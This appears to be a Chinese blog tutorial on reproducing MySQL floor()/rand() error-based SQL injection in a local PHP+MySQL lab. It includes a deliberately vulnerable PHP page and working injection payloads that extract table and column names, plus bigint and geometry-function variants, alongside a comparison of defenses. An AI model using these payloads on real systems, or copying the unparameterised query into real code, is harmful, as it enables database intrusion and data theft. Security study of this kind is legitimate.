当前位置: 首页 > news >正文

别再死记硬背Payload了!用PHP+MySQL本地复现floor报错注入全过程

从零构建PHP+MySQL靶场:可视化floor报错注入实验指南

实验环境准备与漏洞靶场搭建

在开始探索floor报错注入之前,我们需要一个可控的本地测试环境。推荐使用PHPStudy或Docker快速搭建:

# Docker方式(需提前安装Docker) docker run --name mysql-vuln -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -d mysql:5.7 docker run --name php-apache -p 80:80 --link mysql-vuln:mysql -d php:7.4-apache

创建漏洞页面的PHP代码(保存为vulnerable.php):

<?php $conn = new mysqli("mysql", "root", "123456", "testdb"); if ($conn->connect_error) die("Connection failed: " . $conn->connect_error); $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = " . $id; $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { echo "ID: " . $row["id"]. " - Name: " . $row["username"]; } } else { echo "No results"; } $conn->close(); ?>

初始化测试数据库:

CREATE DATABASE testdb; USE testdb; CREATE TABLE users (id INT, username VARCHAR(255)); INSERT INTO users VALUES (1,'admin'),(2,'guest'),(3,'test');

MySQL日志监控与执行过程可视化

要真正理解floor报错注入,我们需要观察MySQL内部执行过程。开启general log:

SET GLOBAL general_log = 'ON'; SET GLOBAL log_output = 'TABLE';

查询日志的SQL语句:

SELECT * FROM mysql.general_log ORDER BY event_time DESC LIMIT 10;

关键函数行为测试:

函数调用示例输出结果重要特性
FLOOR()SELECT FLOOR(1.9)1向下取整
RAND(0)SELECT RAND(0)0.15522042769493574确定性伪随机
COUNT(*)SELECT COUNT(*) FROM users3统计行数

通过以下命令观察rand(0)的确定性特征:

SELECT RAND(0), RAND(0), RAND(0) FROM users;

floor报错注入的逐步拆解

让我们分解这个经典报错语句:

SELECT COUNT(*), CONCAT(DATABASE(), FLOOR(RAND(0)*2)) AS x FROM users GROUP BY x;

执行过程可视化表格:

执行步骤RAND(0)值FLOOR(RAND(0)*2)虚拟表状态关键动作
10.1552200空表查询key=0 → 不存在
20.6208811{key:1, count:1}插入时RAND()已变化
30.6387631{key:1, count:2}直接计数
40.3315370{key:1, count:2}查询key=0 → 不存在
50.7390811冲突发生尝试插入重复key=1

错误产生的核心原因:

  1. 执行时序差异:RAND()计算比虚拟表操作快
  2. 确定性伪随机:RAND(0)产生可预测序列
  3. 主键冲突:插入时值已变化导致重复

实战注入技巧与防御方案

进阶注入payload示例:

-- 获取表名 SELECT COUNT(*) FROM (SELECT 1 UNION SELECT CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),FLOOR(RAND(0)*2)))x GROUP BY x; -- 获取列名 SELECT COUNT(*) FROM (SELECT 1 UNION SELECT CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),FLOOR(RAND(0)*2)))x GROUP BY x;

防御方案对比表:

防御方式实现代码防护效果性能影响
预处理语句$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");★★★★★
类型转换$id = (int)$_GET['id'];★★★☆☆极低
过滤函数$id = mysqli_real_escape_string($conn, $_GET['id']);★★☆☆☆
WAF防护商业解决方案★★★★☆

深度原理分析与变种研究

通过GDB调试MySQL源码观察虚拟表创建过程:

# 编译调试版MySQL git clone https://github.com/mysql/mysql-server.git cd mysql-server && mkdir build && cd build cmake .. -DCMAKE_BUILD_TYPE=Debug make -j4

关键断点设置:

  • item_func.cc:Item_func_rand::val_real()
  • sql_select.cc:create_tmp_table()
  • handler.cc:write_row()

不同MySQL版本的差异:

版本行为特征是否可利用
5.0.x稳定报错
5.1.x概率报错部分
5.5+修复机制
8.0+完全防护

替代方案研究:

-- 基于bigint溢出 SELECT !(SELECT * FROM (SELECT USER())x)-~0; -- 基于几何函数 SELECT ST_LatFromGeoHash(USER());
http://www.gsyq.cn/news/1336568.html

相关文章:

  • FPSoC芯片如何重塑嵌入式设计?SF1系列实战解析
  • 433MHz无线模块解码避坑指南:从示波器抓波形到STM32代码实现的完整流程
  • 超越ENOB和SNR:用Cadence Spectrum工具深入分析ADC的谐波失真与噪声基底
  • 在PyTorch里手把手实现ODConv:一个Attention类搞定多维注意力卷积
  • 2026年4月靠谱的光谱仪生产厂家推荐,分析仪/测试仪/libs/xrf/光谱仪/测厚仪/X射线,光谱仪生产厂家哪个好 - 品牌推荐师
  • 2026年比较好的三亚别墅庭院设计施工装修实力公司推荐 - 品牌宣传支持者
  • 深入理解STM32的FSMC:如何像访问内存一样轻松驱动TFTLCD屏
  • 2026年质量好的佛山不锈钢风口/不锈钢防雨百叶推荐厂家精选 - 品牌宣传支持者
  • 保姆级教程:用DS-TWR协议手把手配置CCC数字车钥匙UWB测距(附避坑指南)
  • 硬件开发、智能硬件与硬件系统:从概念到产品的完整技术解析
  • 别再只盯着IoU了!深入浅出聊聊边界框回归:从IoU到Shape-IoU的演进与选择
  • 2026年高品质PVC颗粒/PVC塑料颗粒/PVC粒料/PVC软料稳定供货厂家推荐 - 行业平台推荐
  • 保姆级避坑指南:用华为云IoTDA Python SDK实现设备数据上报,别再卡在连接和证书上了
  • Python自动化办公:用PyPDF2批量给PDF加密、调整页面顺序,解放你的双手
  • Arcgis筛选工具(Select_analysis)保姆级教程:从三调图斑提取到复杂SQL查询
  • 2026年知名的门窗五金/门窗配件厂家精选合集 - 品牌宣传支持者
  • 告别手动雕刻:用Landscaping插件在UE5里快速构建可二次编辑的真实世界场景
  • 告别命令行恐惧:用xrdp给Ubuntu服务器装个‘可视化’遥控器
  • TC264中断机制详解:从数据手册的SRN到逐飞库的IFX_INTERRUPT宏
  • 智能硬件项目安卓主板选型实战指南:从需求到避坑
  • 当工控系统不再安全:从Stuxnet事件看西门子PLC与WinCC软件的防护盲点与加固实践
  • 别再只用串口打印了!手把手教你用J-Link RTT给STM32调试日志换个“皮肤”(含彩色日志库)
  • 实测分享:搞定Buck电路振铃,手把手教你用示波器+RC缓冲电路(附参数计算Excel)
  • 精密运放ADA4091-2驱动能力不够?试试‘复合放大器’这招,带宽和带载能力都翻倍
  • 用逻辑分析仪实测STC15W408AS驱动BLDC电机:PWM波形与换相时序全解析
  • ARMv8-A A64内存拷贝指令优化原理与实践
  • 手把手教你用天融信TopScanner给服务器做一次“体检”:从配置网卡到生成PDF报告
  • 竟然还在手动逐字整理工作文稿?2026年这4款AI写作工具,3分钟写完长篇职场文案
  • 别再手动拖拽了!Unity运行时动态生成材质球,实现AR涂鸦功能的完整流程(附代码)
  • 别再只会用RC了!手把手教你用运放搭建一个75Hz低通滤波器(附Multisim仿真文件)